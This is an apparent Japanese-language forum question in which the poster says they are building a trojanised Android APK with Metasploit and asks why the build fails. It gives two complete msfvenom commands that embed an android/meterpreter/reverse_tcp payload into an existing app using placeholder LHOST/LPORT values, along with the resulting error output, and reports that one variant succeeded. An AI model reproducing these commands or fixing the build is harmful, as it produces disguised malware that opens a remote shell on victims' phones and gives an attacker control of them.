metasploit を使用して Android 用のトロイの木馬 apk を作成しようとしています。これは私が使用しているコマンドです。
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
そして、私はこのエラーが発生しています:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
次に、Javaなどの別のアーキテクチャを選択してみました:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
そしてうまくいきました(something-Out.apkが生成されました)。したがってMalformed version number string
、dalvik がアーキテクチャとして選択されている場合にのみエラーが発生するようです。
Macから実行されるVirtualBox上のUbuntuでこれを行っています。どんな助けでも大歓迎です、ありがとう!